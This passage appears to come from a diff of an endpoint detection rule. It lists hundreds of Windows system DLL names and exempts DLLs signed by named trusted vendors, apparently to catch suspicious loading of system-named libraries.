"mdminst.dll", "mdmmigrator.dll", "mdmregistration.dll", "memorydiagnostic.dll", "messagingservice.dll", "mf.dll", "mf3216.dll", "mfaacenc.dll", "mfasfsrcsnk.dll", "mfaudiocnv.dll", "mfc42.dll", "mfc42u.dll", "mfcaptureengine.dll", "mfcore.dll", "mfcsubs.dll", "mfds.dll", "mfdvdec.dll", "mferror.dll", "mfh263enc.dll", "mfh264enc.dll", "mfksproxy.dll", "mfmediaengine.dll", "mfmjpegdec.dll", "mfmkvsrcsnk.dll", "mfmp4srcsnk.dll", "mfmpeg2srcsnk.dll", "mfnetcore.dll", "mfnetsrc.dll", "mfperfhelper.dll", "mfplat.dll", "mfplay.dll", "mfps.dll", "mfreadwrite.dll", "mfsensorgroup.dll", "mfsrcsnk.dll", "mfsvr.dll", "mftranscode.dll", "mfvdsp.dll", "mfvfw.dll", "mfwmaaec.dll", "mgmtapi.dll", "mi.dll", "mibincodec.dll", "midimap.dll", "migisol.dll", "miguiresource.dll", "mimefilt.dll", "mimofcodec.dll", "minstoreevents.dll", "miracastinputmgr.dll", "miracastreceiver.dll", "mirrordrvcompat.dll", "mispace.dll", "mitigationclient.dll", "miutils.dll", "mlang.dll", "mmcbase.dll", "mmcndmgr.dll", "mmcshext.dll", "mmdevapi.dll", "mmgaclient.dll", "mmgaproxystub.dll", "mmres.dll", "mobilenetworking.dll", "modemui.dll", "modernexecserver.dll", "moricons.dll", "moshost.dll", "moshostclient.dll", "moshostcore.dll", "mosstorage.dll", "mp3dmod.dll", "mp43decd.dll", "mp4sdecd.dll", "mpeval.dll", "mpg4decd.dll", "mpr.dll", "mprapi.dll", "mprddm.dll", "mprdim.dll", "mprext.dll", "mprmsg.dll", "mpssvc.dll", "mpunits.dll", "mrmcorer.dll", "mrmdeploy.dll", "mrmindexer.dll", "mrt100.dll", "mrt_map.dll", "msaatext.dll", "msac3enc.dll", "msacm32.dll", "msafd.dll", "msajapi.dll", "msalacdecoder.dll", "msalacencoder.dll", "msamrnbdecoder.dll", "msamrnbencoder.dll", "msamrnbsink.dll", "msamrnbsource.dll", "msasn1.dll", "msauddecmft.dll", "msaudite.dll", "msauserext.dll", "mscandui.dll", "mscat32.dll", "msclmd.dll", "mscms.dll", "mscoree.dll", "mscorier.dll", "mscories.dll", "msctf.dll", "msctfmonitor.dll", "msctfp.dll", "msctfui.dll", "msctfuimanager.dll", "msdadiag.dll", "msdart.dll", "msdelta.dll", "msdmo.dll", "msdrm.dll", "msdtckrm.dll", "msdtclog.dll", "msdtcprx.dll", "msdtcspoffln.dll", "msdtctm.dll", "msdtcuiu.dll", "msdtcvsp1res.dll", "msfeeds.dll", "msfeedsbs.dll", "msflacdecoder.dll", "msflacencoder.dll", "msftedit.dll", "msheif.dll", "mshtml.dll", "mshtmldac.dll", "mshtmled.dll", "mshtmler.dll", "msi.dll", "msicofire.dll", "msidcrl40.dll", "msident.dll", "msidle.dll", "msidntld.dll", "msieftp.dll", "msihnd.dll", "msiltcfg.dll", "msimg32.dll", "msimsg.dll", "msimtf.dll", "msisip.dll", "msiso.dll", "msiwer.dll", "mskeyprotcli.dll", "mskeyprotect.dll", "msls31.dll", "msmpeg2adec.dll", "msmpeg2enc.dll", "msmpeg2vdec.dll", "msobjs.dll", "msoert2.dll", "msopusdecoder.dll", "mspatcha.dll", "mspatchc.dll", "msphotography.dll", "msports.dll", "msprivs.dll", "msrahc.dll", "msrating.dll", "msrawimage.dll", "msrdc.dll", "msrdpwebaccess.dll", "msrle32.dll", "msscntrs.dll", "mssecuser.dll", "mssign32.dll", "mssip32.dll", "mssitlb.dll", "mssph.dll", "mssprxy.dll", "mssrch.dll", "mssvp.dll", "mstask.dll", "mstextprediction.dll", "mstscax.dll", "msutb.dll", "msv1_0.dll", "msvcirt.dll", "msvcp110_win.dll", "msvcp120_clr0400.dll", "msvcp140_clr0400.dll", "msvcp60.dll", "msvcp_win.dll", "msvcr100_clr0400.dll", "msvcr120_clr0400.dll", "msvcrt.dll", "msvfw32.dll", "msvidc32.dll", "msvidctl.dll", "msvideodsp.dll", "msvp9dec.dll", "msvproc.dll", "msvpxenc.dll", "mswb7.dll", "mswebp.dll", "mswmdm.dll", "mswsock.dll", "msxml3.dll", "msxml3r.dll", "msxml6.dll", "msxml6r.dll", "msyuv.dll", "mtcmodel.dll", "mtf.dll", "mtfappserviceds.dll", "mtfdecoder.dll", "mtffuzzyds.dll", "mtfserver.dll", "mtfspellcheckds.dll", "mtxclu.dll", "mtxdm.dll", "mtxex.dll", "mtxoci.dll", "muifontsetup.dll", "mycomput.dll", "mydocs.dll", "napcrypt.dll", "napinsp.dll", "naturalauth.dll", "naturallanguage6.dll", "navshutdown.dll", "ncaapi.dll", "ncasvc.dll", "ncbservice.dll", "ncdautosetup.dll", "ncdprop.dll", "nci.dll", "ncobjapi.dll", "ncrypt.dll", "ncryptprov.dll", "ncryptsslp.dll", "ncsi.dll", "ncuprov.dll", "nddeapi.dll", "ndfapi.dll", "ndfetw.dll", "ndfhcdiscovery.dll", "ndishc.dll", "ndproxystub.dll", "nduprov.dll", "negoexts.dll", "netapi32.dll", "netbios.dll", "netcenter.dll", "netcfgx.dll", "netcorehc.dll", "netdiagfx.dll", "netdriverinstall.dll", "netevent.dll", "netfxperf.dll", "neth.dll", "netid.dll", "netiohlp.dll", "netjoin.dll", "netlogon.dll", "netman.dll", "netmsg.dll", "netplwiz.dll", "netprofm.dll", "netprofmsvc.dll", "netprovfw.dll", "netprovisionsp.dll", "netsetupapi.dll", "netsetupengine.dll", "netsetupshim.dll", "netsetupsvc.dll", "netshell.dll", "nettrace.dll", "netutils.dll", "networkexplorer.dll", "networkhelper.dll", "networkicon.dll", "networkproxycsp.dll", "networkstatus.dll", "networkuxbroker.dll", "newdev.dll", "nfcradiomedia.dll", "ngccredprov.dll", "ngcctnr.dll", "ngcctnrsvc.dll", "ngcisoctnr.dll", "ngckeyenum.dll", "ngcksp.dll", "ngclocal.dll", "ngcpopkeysrv.dll", "ngcprocsp.dll", "ngcrecovery.dll", "ngcsvc.dll", "ngctasks.dll", "ninput.dll", "nlaapi.dll", "nlahc.dll", "nlasvc.dll", "nlhtml.dll", "nlmgp.dll", "nlmproxy.dll", "nlmsprep.dll", "nlsbres.dll", "nlsdata0000.dll", "nlsdata0009.dll", "nlsdl.dll", "nlslexicons0009.dll", "nmadirect.dll", "normaliz.dll", "npmproxy.dll", "npsm.dll", "nrpsrv.dll", "nshhttp.dll", "nshipsec.dll", "nshwfp.dll", "nsi.dll", "nsisvc.dll", "ntasn1.dll", "ntdll.dll", "ntdsapi.dll", "ntlanman.dll", "ntlanui2.dll", "ntlmshared.dll", "ntmarta.dll", "ntprint.dll", "ntshrui.dll", "ntvdm64.dll", "objsel.dll", "occache.dll", "ocsetapi.dll", "odbc32.dll", "odbcbcp.dll", "odbcconf.dll", "odbccp32.dll", "odbccr32.dll", "odbccu32.dll", "odbcint.dll", "odbctrac.dll", "oemlicense.dll", "offfilt.dll", "officecsp.dll", "offlinelsa.dll", "offlinesam.dll", "offreg.dll", "ole32.dll", "oleacc.dll", "oleacchooks.dll", "oleaccrc.dll", "oleaut32.dll", "oledlg.dll", "oleprn.dll", "omadmagent.dll", "omadmapi.dll", "onebackuphandler.dll", "onex.dll", "onexui.dll", "opcservices.dll", "opengl32.dll", "ortcengine.dll", "osbaseln.dll", "osksupport.dll", "osuninst.dll", "p2p.dll", "p2pgraph.dll", "p2pnetsh.dll", "p2psvc.dll", "packager.dll", "panmap.dll", "pautoenr.dll", "pcacli.dll", "pcadm.dll", "pcaevts.dll", "pcasvc.dll", "pcaui.dll", "pcpksp.dll", "pcsvdevice.dll", "pcwum.dll", "pcwutl.dll", "pdh.dll", "pdhui.dll", "peerdist.dll", "peerdistad.dll", "peerdistcleaner.dll", "peerdistsh.dll", "peerdistsvc.dll", "peopleapis.dll", "peopleband.dll", "perceptiondevice.dll", "perfctrs.dll", "perfdisk.dll", "perfnet.dll", "perfos.dll", "perfproc.dll", "perfts.dll", "phoneom.dll", "phoneproviders.dll", "phoneservice.dll", "phoneserviceres.dll", "phoneutil.dll", "phoneutilres.dll", "photowiz.dll", "pickerplatform.dll", "pid.dll", "pidgenx.dll", "pifmgr.dll", "pimstore.dll", "pkeyhelper.dll", "pktmonapi.dll", "pku2u.dll", "pla.dll", "playlistfolder.dll", "playsndsrv.dll", "playtodevice.dll", "playtomanager.dll", "playtomenu.dll", "playtoreceiver.dll", "ploptin.dll", "pmcsnap.dll", "pngfilt.dll", "pnidui.dll", "pnpclean.dll", "pnppolicy.dll", "pnpts.dll", "pnpui.dll", "pnpxassoc.dll", "pnpxassocprx.dll", "pnrpauto.dll", "pnrphc.dll", "pnrpnsp.dll", "pnrpsvc.dll", "policymanager.dll", "polstore.dll", "posetup.dll", "posyncservices.dll", "pots.dll", "powercpl.dll", "powrprof.dll", "ppcsnap.dll", "prauthproviders.dll", "prflbmsg.dll", "printui.dll", "printwsdahost.dll", "prm0009.dll", "prncache.dll", "prnfldr.dll", "prnntfy.dll", "prntvpt.dll", "profapi.dll", "profext.dll", "profprov.dll", "profsvc.dll", "profsvcext.dll", "propsys.dll", "provcore.dll", "provdatastore.dll", "provdiagnostics.dll", "provengine.dll", "provhandlers.dll", "provisioningcsp.dll", "provmigrate.dll", "provops.dll", "provplugineng.dll", "provsysprep.dll", "provthrd.dll", "proximitycommon.dll", "proximityservice.dll", "prvdmofcomp.dll", "psapi.dll", "pshed.dll", "psisdecd.dll", "psmsrv.dll", "pstask.dll", "pstorec.dll", "ptpprov.dll", "puiapi.dll", "puiobj.dll", "pushtoinstall.dll", "pwlauncher.dll", "pwrshplugin.dll", "pwsso.dll", "qasf.dll", "qcap.dll", "qdv.dll", "qdvd.dll", "qedit.dll", "qedwipes.dll", "qmgr.dll", "query.dll", "quiethours.dll", "qwave.dll", "racengn.dll", "racpldlg.dll", "radardt.dll", "radarrs.dll", "radcui.dll", "rasadhlp.dll", "rasapi32.dll", "rasauto.dll", "raschap.dll", "raschapext.dll", "rasctrs.dll", "rascustom.dll", "rasdiag.dll", "rasdlg.dll", "rasgcw.dll", "rasman.dll", "rasmans.dll", "rasmbmgr.dll", "rasmediamanager.dll", "rasmm.dll", "rasmontr.dll", "rasplap.dll", "rasppp.dll", "rastapi.dll", "rastls.dll", "rastlsext.dll", "rdbui.dll", "rdpbase.dll", "rdpcfgex.dll", "rdpcore.dll", "rdpcorets.dll", "rdpencom.dll", "rdpendp.dll", "rdpnano.dll", "rdpsaps.dll", "rdpserverbase.dll", "rdpsharercom.dll", "rdpudd.dll", "rdpviewerax.dll", "rdsappxhelper.dll", "rdsdwmdr.dll", "rdvvmtransport.dll", "rdxservice.dll", "rdxtaskfactory.dll", "reagent.dll", "reagenttask.dll", "recovery.dll", "regapi.dll", "regctrl.dll", "regidle.dll", "regsvc.dll", "reguwpapi.dll", "reinfo.dll", "remotepg.dll", "remotewipecsp.dll", "reportingcsp.dll", "resampledmo.dll", "resbparser.dll", "reseteng.dll", "resetengine.dll", "resetengonline.dll", "resourcemapper.dll", "resutils.dll", "rgb9rast.dll", "riched20.dll", "riched32.dll", "rjvmdmconfig.dll", "rmapi.dll", "rmclient.dll", "rnr20.dll", "roamingsecurity.dll", "rometadata.dll", "rotmgr.dll", "rpcepmap.dll", "rpchttp.dll", "rpcns4.dll", "rpcnsh.dll", "rpcrt4.dll", "rpcrtremote.dll", "rpcss.dll", "rsaenh.dll", "rshx32.dll", "rstrtmgr.dll", "rtffilt.dll", "rtm.dll", "rtmediaframe.dll", "rtmmvrortc.dll", "rtutils.dll", "rtworkq.dll", "rulebasedds.dll", "samcli.dll", "samlib.dll", "samsrv.dll", "sas.dll", "sbe.dll", "sbeio.dll", "sberes.dll", "sbservicetrigger.dll", "scansetting.dll", "scardbi.dll", "scarddlg.dll", "scardsvr.dll", "scavengeui.dll", "scdeviceenum.dll", "scecli.dll", "scesrv.dll", "schannel.dll", "schedcli.dll", "schedsvc.dll", "scksp.dll", "scripto.dll", "scrobj.dll", "scrptadm.dll", "scrrun.dll", "sdcpl.dll", "sdds.dll", "sdengin2.dll", "sdfhost.dll", "sdhcinst.dll", "sdiageng.dll", "sdiagprv.dll", "sdiagschd.dll", "sdohlp.dll", "sdrsvc.dll", "sdshext.dll", "searchfolder.dll", "sechost.dll", "seclogon.dll", "secproc.dll", "secproc_isv.dll", "secproc_ssp.dll", "secproc_ssp_isv.dll", "secur32.dll", "security.dll", "semgrps.dll", "semgrsvc.dll", "sendmail.dll", "sens.dll", "sensapi.dll", "sensorsapi.dll", "sensorscpl.dll", "sensorservice.dll", "sensorsnativeapi.dll", "sensorsutilsv2.dll", "sensrsvc.dll", "serialui.dll", "servicinguapi.dll", "serwvdrv.dll", "sessenv.dll", "setbcdlocale.dll", "settingmonitor.dll", "settingsync.dll", "settingsynccore.dll", "setupapi.dll", "setupcl.dll", "setupcln.dll", "setupetw.dll", "sfc.dll", "sfc_os.dll", "sgrmenclave.dll", "shacct.dll", "shacctprofile.dll", "sharedpccsp.dll", "sharedrealitysvc.dll", "sharehost.dll", "sharemediacpl.dll", "shcore.dll", "shdocvw.dll", "shell32.dll", "shellstyle.dll", "shfolder.dll", "shgina.dll", "shimeng.dll", "shimgvw.dll", "shlwapi.dll", "shpafact.dll", "shsetup.dll", "shsvcs.dll", "shunimpl.dll", "shutdownext.dll", "shutdownux.dll", "shwebsvc.dll", "signdrv.dll", "simauth.dll", "simcfg.dll", "skci.dll", "slc.dll", "slcext.dll", "slwga.dll", "smartscreenps.dll", "smbhelperclass.dll", "smbwmiv2.dll", "smiengine.dll", "smphost.dll", "smsroutersvc.dll", "sndvolsso.dll", "snmpapi.dll", "socialapis.dll", "softkbd.dll", "softpub.dll", "sortwindows61.dll", "sortwindows62.dll", "spacebridge.dll", "spacecontrol.dll", "spatializerapo.dll", "spatialstore.dll", "spbcd.dll", "speechpal.dll", "spfileq.dll", "spinf.dll", "spmpm.dll", "spnet.dll", "spoolss.dll", "spopk.dll", "spp.dll", "sppc.dll", "sppcext.dll", "sppcomapi.dll", "sppcommdlg.dll", "sppinst.dll", "sppnp.dll", "sppobjs.dll", "sppwinob.dll", "sppwmi.dll", "spwinsat.dll", "spwizeng.dll", "spwizimg.dll", "spwizres.dll", "spwmp.dll", "sqlsrv32.dll", "sqmapi.dll", "srchadmin.dll", "srclient.dll", "srcore.dll", "srevents.dll", "srh.dll", "srhelper.dll", "srm.dll", "srmclient.dll", "srmlib.dll", "srmscan.dll", "srmshell.dll", "srmstormod.dll", "srmtrace.dll", "srm_ps.dll", "srpapi.dll", "srrstr.dll", "srumapi.dll", "srumsvc.dll", "srvcli.dll", "srvsvc.dll", "srwmi.dll", "sscore.dll", "sscoreext.dll", "ssdm.dll", "ssdpapi.dll", "ssdpsrv.dll", "sspicli.dll", "sspisrv.dll", "ssshim.dll", "sstpsvc.dll", "starttiledata.dll", "startupscan.dll", "stclient.dll", "sti.dll", "sti_ci.dll", "stobject.dll", "storageusage.dll", "storagewmi.dll", "storewuauth.dll", "storprop.dll", "storsvc.dll", "streamci.dll", "structuredquery.dll", "sud.dll", "svf.dll", "svsvc.dll", "swprv.dll", "sxproxy.dll", "sxs.dll", "sxshared.dll", "sxssrv.dll", "sxsstore.dll", "synccenter.dll", "synccontroller.dll", "synchostps.dll", "syncproxy.dll", "syncreg.dll", "syncres.dll", "syncsettings.dll", "syncutil.dll", "sysclass.dll", "sysfxui.dll", "sysmain.dll", "sysntfy.dll", "syssetup.dll", "systemcpl.dll", "t2embed.dll", "tabbtn.dll", "tabbtnex.dll", "tabsvc.dll", "tapi3.dll", "tapi32.dll", "tapilua.dll", "tapimigplugin.dll", "tapiperf.dll", "tapisrv.dll", "tapisysprep.dll", "tapiui.dll", "taskapis.dll", "taskbarcpl.dll", "taskcomp.dll", "taskschd.dll", "taskschdps.dll", "tbauth.dll", "tbs.dll", "tcbloader.dll", "tcpipcfg.dll", "tcpmib.dll", "tcpmon.dll", "tcpmonui.dll", "tdh.dll", "tdlmigration.dll", "tellib.dll", "termmgr.dll", "termsrv.dll", "tetheringclient.dll", "tetheringmgr.dll", "tetheringservice.dll", "tetheringstation.dll", "textshaping.dll", "themecpl.dll", "themeservice.dll", "themeui.dll", "threadpoolwinrt.dll", "thumbcache.dll", "timebrokerclient.dll", "timebrokerserver.dll", "timesync.dll", "timesynctask.dll", "tlscsp.dll", "tokenbinding.dll", "tokenbroker.dll", "tokenbrokerui.dll", "tpmcertresources.dll", "tpmcompc.dll", "tpmtasks.dll", "tpmvsc.dll", "tquery.dll", "traffic.dll", "transportdsa.dll", "trie.dll", "trkwks.dll", "tsbyuv.dll", "tscfgwmi.dll", "tserrredir.dll", "tsf3gip.dll", "tsgqec.dll", "tsmf.dll", "tspkg.dll", "tspubwmi.dll", "tssessionux.dll", "tssrvlic.dll", "tsworkspace.dll", "ttdloader.dll", "ttdplm.dll", "ttdrecord.dll", "ttdrecordcpu.dll", "ttlsauth.dll", "ttlscfg.dll", "ttlsext.dll", "tvratings.dll", "twext.dll", "twinapi.dll", "twinui.dll", "txflog.dll", "txfw32.dll", "tzautoupdate.dll", "tzres.dll", "tzsyncres.dll", "ubpm.dll", "ucmhc.dll", "ucrtbase.dll", "ucrtbase_clr0400.dll", "ucrtbase_enclave.dll", "udhisapi.dll", "udwm.dll", "ueficsp.dll", "uexfat.dll", "ufat.dll", "uiamanager.dll", "uianimation.dll", "uiautomationcore.dll", "uicom.dll", "uireng.dll", "uiribbon.dll", "uiribbonres.dll", "ulib.dll", "umb.dll", "umdmxfrm.dll", "umpdc.dll", "umpnpmgr.dll", "umpo-overrides.dll", "umpo.dll", "umpoext.dll", "umpowmi.dll", "umrdp.dll", "unattend.dll", "unenrollhook.dll", "unimdmat.dll", "uniplat.dll", "unistore.dll", "untfs.dll", "updateagent.dll", "updatecsp.dll", "updatepolicy.dll", "upnp.dll", "upnphost.dll", "upshared.dll", "urefs.dll", "urefsv1.dll", "ureg.dll", "url.dll", "urlmon.dll", "usbcapi.dll", "usbceip.dll", "usbmon.dll", "usbperf.dll", "usbpmapi.dll", "usbtask.dll", "usbui.dll", "user32.dll", "usercpl.dll", "userdataservice.dll", "userdatatimeutil.dll", "userenv.dll", "userinitext.dll", "usermgr.dll", "usermgrcli.dll", "usermgrproxy.dll", "usoapi.dll", "usocoreps.dll", "usosvc.dll", "usp10.dll", "ustprov.dll", "utcutil.dll", "utildll.dll", "uudf.dll", "uvcmodel.dll", "uwfcfgmgmt.dll", "uwfcsp.dll", "uwfservicingapi.dll", "uxinit.dll", "uxlib.dll", "uxlibres.dll", "uxtheme.dll", "vac.dll", "van.dll", "vault.dll", "vaultcds.dll", "vaultcli.dll", "vaultroaming.dll", "vaultsvc.dll", "vbsapi.dll", "vbscript.dll", "vbssysprep.dll", "vcardparser.dll", "vdsbas.dll", "vdsdyn.dll", "vdsutil.dll", "vdsvd.dll", "vds_ps.dll", "verifier.dll", "vertdll.dll", "vfuprov.dll", "vfwwdm32.dll", "vhfum.dll", "vid.dll", "videohandlers.dll", "vidreszr.dll", "virtdisk.dll", "vmbuspipe.dll", "vmdevicehost.dll", "vmictimeprovider.dll", "vmrdvcore.dll", "voiprt.dll", "vpnike.dll", "vpnikeapi.dll", "vpnsohdesktop.dll", "vpnv2csp.dll", "vscmgrps.dll", "vssapi.dll", "vsstrace.dll", "vss_ps.dll", "w32time.dll", "w32topl.dll", "waasassessment.dll", "waasmediccapsule.dll", "waasmedicps.dll", "waasmedicsvc.dll", "wabsyncprovider.dll", "walletproxy.dll", "walletservice.dll", "wavemsp.dll", "wbemcomn.dll", "wbiosrvc.dll", "wci.dll", "wcimage.dll", "wcmapi.dll", "wcmcsp.dll", "wcmsvc.dll", "wcnapi.dll", "wcncsvc.dll", "wcneapauthproxy.dll", "wcneappeerproxy.dll", "wcnnetsh.dll", "wcnwiz.dll", "wc_storage.dll", "wdc.dll", "wdi.dll", "wdigest.dll", "wdscore.dll", "webauthn.dll", "webcamui.dll", "webcheck.dll", "webclnt.dll", "webio.dll", "webservices.dll", "websocket.dll", "wecapi.dll", "wecsvc.dll", "wephostsvc.dll", "wer.dll", "werconcpl.dll", "wercplsupport.dll", "werenc.dll", "weretw.dll", "wersvc.dll", "werui.dll", "wevtapi.dll", "wevtfwd.dll", "wevtsvc.dll", "wfapigp.dll", "wfdprov.dll", "wfdsconmgr.dll", "wfdsconmgrsvc.dll", "wfhc.dll", "whealogr.dll", "whhelper.dll", "wiaaut.dll", "wiadefui.dll", "wiadss.dll", "wiarpc.dll", "wiascanprofiles.dll", "wiaservc.dll", "wiashext.dll", "wiatrace.dll", "wificloudstore.dll", "wificonfigsp.dll", "wifidisplay.dll", "wimgapi.dll", "win32spl.dll", "win32u.dll", "winbio.dll", "winbiodatamodel.dll", "winbioext.dll", "winbrand.dll", "wincorlib.dll", "wincredprovider.dll", "wincredui.dll", "windowmanagement.dll", "windowscodecs.dll", "windowscodecsext.dll", "windowscodecsraw.dll", "windowsiotcsp.dll", "windowslivelogin.dll", "winethc.dll", "winhttp.dll", "winhttpcom.dll", "winhvemulation.dll", "winhvplatform.dll", "wininet.dll", "wininetlui.dll", "wininitext.dll", "winipcfile.dll", "winipcsecproc.dll", "winipsec.dll", "winlangdb.dll", "winlogonext.dll", "winmde.dll", "winml.dll", "winmm.dll", "winmmbase.dll", "winmsipc.dll", "winnlsres.dll", "winnsi.dll", "winreagent.dll", "winrnr.dll", "winrscmd.dll", "winrsmgr.dll", "winrssrv.dll", "winrttracing.dll", "winsatapi.dll", "winscard.dll", "winsetupui.dll", "winshfhc.dll", "winsku.dll", "winsockhc.dll", "winsqlite3.dll", "winsrpc.dll", "winsrv.dll", "winsrvext.dll", "winsta.dll", "winsync.dll", "winsyncmetastore.dll", "winsyncproviders.dll", "wintrust.dll", "wintypes.dll", "winusb.dll", "wirednetworkcsp.dll", "wisp.dll", "wkscli.dll", "wkspbrokerax.dll", "wksprtps.dll", "wkssvc.dll", "wlanapi.dll", "wlancfg.dll", "wlanconn.dll", "wlandlg.dll", "wlangpui.dll", "wlanhc.dll", "wlanhlp.dll", "wlanmediamanager.dll", "wlanmm.dll", "wlanmsm.dll", "wlanpref.dll", "wlanradiomanager.dll", "wlansec.dll", "wlansvc.dll", "wlansvcpal.dll", "wlanui.dll", "wlanutil.dll", "wldap32.dll", "wldp.dll", "wlgpclnt.dll", "wlidcli.dll", "wlidcredprov.dll", "wlidfdp.dll", "wlidnsp.dll", "wlidprov.dll", "wlidres.dll", "wlidsvc.dll", "wmadmod.dll", "wmadmoe.dll", "wmalfxgfxdsp.dll", "wmasf.dll", "wmcodecdspps.dll", "wmdmlog.dll", "wmdmps.dll", "wmdrmsdk.dll", "wmerror.dll", "wmi.dll", "wmiclnt.dll", "wmicmiplugin.dll", "wmidcom.dll", "wmidx.dll", "wmiprop.dll", "wmitomi.dll", "wmnetmgr.dll", "wmp.dll", "wmpdui.dll", "wmpdxm.dll", "wmpeffects.dll", "wmphoto.dll", "wmploc.dll", "wmpps.dll", "wmpshell.dll", "wmsgapi.dll", "wmspdmod.dll", "wmspdmoe.dll", "wmvcore.dll", "wmvdecod.dll", "wmvdspa.dll", "wmvencod.dll", "wmvsdecd.dll", "wmvsencd.dll", "wmvxencd.dll", "woftasks.dll", "wofutil.dll", "wordbreakers.dll", "workfoldersgpext.dll", "workfoldersres.dll", "workfoldersshell.dll", "workfolderssvc.dll", "wosc.dll", "wow64.dll", "wow64cpu.dll", "wow64win.dll", "wpbcreds.dll", "wpc.dll", "wpcapi.dll", "wpcdesktopmonsvc.dll", "wpcproxystubs.dll", "wpcrefreshtask.dll", "wpcwebfilter.dll", "wpdbusenum.dll", "wpdshext.dll", "wpdshserviceobj.dll", "wpdsp.dll", "wpd_ci.dll", "wpnapps.dll", "wpnclient.dll", "wpncore.dll", "wpninprc.dll", "wpnprv.dll", "wpnservice.dll", "wpnsruprov.dll", "wpnuserservice.dll", "wpportinglibrary.dll", "wpprecorderum.dll", "wptaskscheduler.dll", "wpx.dll", "ws2help.dll", "ws2_32.dll", "wscapi.dll", "wscinterop.dll", "wscisvif.dll", "wsclient.dll", "wscproxystub.dll", "wscsvc.dll", "wsdapi.dll", "wsdchngr.dll", "wsdprintproxy.dll", "wsdproviderutil.dll", "wsdscanproxy.dll", "wsecedit.dll", "wsepno.dll", "wshbth.dll", "wshcon.dll", "wshelper.dll", "wshext.dll", "wshhyperv.dll", "wship6.dll", "wshqos.dll", "wshrm.dll", "wshtcpip.dll", "wshunix.dll", "wslapi.dll", "wsmagent.dll", "wsmauto.dll", "wsmplpxy.dll", "wsmres.dll", "wsmsvc.dll", "wsmwmipl.dll", "wsnmp32.dll", "wsock32.dll", "wsplib.dll", "wsp_fs.dll", "wsp_health.dll", "wsp_sr.dll", "wtsapi32.dll", "wuapi.dll", "wuaueng.dll", "wuceffects.dll", "wudfcoinstaller.dll", "wudfplatform.dll", "wudfsmcclassext.dll", "wudfx.dll", "wudfx02000.dll", "wudriver.dll", "wups.dll", "wups2.dll", "wuuhext.dll", "wuuhosdeployment.dll", "wvc.dll", "wwaapi.dll", "wwaext.dll", "wwanapi.dll", "wwancfg.dll", "wwanhc.dll", "wwanprotdim.dll", "wwanradiomanager.dll", "wwansvc.dll", "wwapi.dll", "xamltilerender.dll", "xaudio2_8.dll", "xaudio2_9.dll", "xblauthmanager.dll", "xblgamesave.dll", "xblgamesaveext.dll", "xblgamesaveproxy.dll", "xboxgipsvc.dll", "xboxgipsynthetic.dll", "xboxnetapisvc.dll", "xinput1_4.dll", "xinput9_1_0.dll", "xinputuap.dll", "xmlfilter.dll", "xmllite.dll", "xmlprovi.dll", "xolehlp.dll", "xpsgdiconverter.dll", "xpsprint.dll", "xpspushlayer.dll", "xpsrasterservice.dll", "xpsservices.dll", "xwizards.dll", "xwreg.dll", "xwtpdui.dll", "xwtpw32.dll", "zipcontainer.dll", "zipfldr.dll", "bootsvc.dll", "halextintcpsedma.dll", "icsvcvss.dll", "ieproxydesktop.dll", "lsaadt.dll", "nlansp_c.dll", "nrtapi.dll", "opencl.dll", "pfclient.dll", "pnpdiag.dll", "prxyqry.dll", "rdpnanotransport.dll", "servicingcommon.dll", "sortwindows63.dll", "sstpcfg.dll", "tdhres.dll", "umpodev.dll", "utcapi.dll", "windlp.dll", "wow64base.dll", "wow64con.dll", "blbuires.dll", "bpainst.dll", "cbclient.dll", "certadm.dll", "certocm.dll", "certpick.dll", "csdeployres.dll", "dsdeployres.dll", "eapa3hst.dll", "eapacfg.dll", "eapahost.dll", "elsext.dll", "encdump.dll", "escmigplugin.dll", "fsclient.dll", "fsdeployres.dll", "fssminst.dll", "fssmres.dll", "fssprov.dll", "ipamapi.dll", "kpssvc.dll", "lbfoadminlib.dll", "mintdh.dll", "mmci.dll", "mmcico.dll", "mprsnap.dll", "mstsmhst.dll", "mstsmmc.dll", "muxinst.dll", "personax.dll", "rassfm.dll", "rasuser.dll", "rdmsinst.dll", "rdmsres.dll", "rtrfiltr.dll", "sacsvr.dll", "scrdenrl.dll", "sdclient.dll", "sharedstartmodel.dll", "smsrouter.dll", "spwizimg_svr.dll", "sqlcecompact40.dll", "sqlceoledb40.dll", "sqlceqp40.dll", "sqlcese40.dll", "srvmgrinst.dll", "svrmgrnc.dll", "tapisnap.dll", "tlsbrand.dll", "tsec.dll", "tsprop.dll", "tspubiconhelper.dll", "tssdjet.dll", "tsuserex.dll", "ualapi.dll", "ualsvc.dll", "umcres.dll", "updatehandlers.dll", "usocore.dll", "vssui.dll", "wsbappres.dll", "wsbonline.dll", "wsmselpl.dll", "wsmselrr.dll", "xpsfilt.dll", "xpsshhdr.dll" + ) and + not ( + ( + dll.name : "icuuc.dll" and dll.code_signature.subject_name in ( + "Valve", "Valve Corp.", "Avanquest Software (7270356 Canada Inc)", "Adobe Inc." + ) and dll.code_signature.trusted == true + ) or + ( + dll.name : ("timeSync.dll", "appInfo.dll") and dll.code_signature.subject_name in ( + "VMware Inc.", "VMware, Inc.", "Broadcom Inc" + ) and dll.code_signature.trusted == true + ) or + ( + dll.name : "libcrypto.dll" and dll.code_signature.subject_name in ( + "NoMachine S.a.r.l.", "Oculus VR, LLC" + ) and dll.code_signature.trusted == true + ) or + ( + dll.name : "ucrtbase.dll" and dll.code_signature.subject_name in ( + "Proofpoint, Inc.", "Rapid7 LLC", "Eclipse.org Foundation, Inc.", "Amazon.com Services LLC", "Windows Phone", "London Jamocha Community CIC", "Palo Alto Networks (Netherlands) B.V.", "Sophos Ltd" + ) and dll.code_signature.trusted == true + ) or + ( + dll.name : "d3d9.dll" and dll.code_signature.subject_name == "Open Source Developer Alban CLIQUET" and dll.code_signature.trusted == true + ) or + ( + dll.name : ("libcrypto.dll", "wmi.dll", "geolocation.dll", "kerberos.dll", "UpdateAgent.dll") and + dll.code_signature.subject_name == "Bitdefender SRL" and dll.code_signature.trusted == true + ) or + (dll.name : "ICMP.dll" and dll.code_signature.subject_name == "Paessler AG" and dll.code_signature.trusted == true) or + (dll.name : "dbghelp.dll" and dll.code_signature.trusted == true) or + (dll.name : "DirectML.dll" and dll.code_signature.subject_name == "Adobe Inc." and dll.code_signature.trusted == true) or + (dll.name : "icsvc.dll" and dll.code_signature.subject_name in ("Dell Inc", "Dell Technologies Inc.") and dll.code_signature.trusted == true) or + (dll.name : "offreg.dll" and dll.code_signature.subject_name in ("Malwarebytes Inc.", "Malwarebytes Inc") and dll.code_signature.trusted == true) or + (dll.name : ("AppMgr.dll", "icuuc.dll") and dll.code_signature.subject_name in ("Autodesk, Inc", "Autodesk, Inc.") and dll.code_signature.trusted == true) or + (dll.name : ("SsShim.dll", "Msi.dll", "wdscore.dll") and process.name : 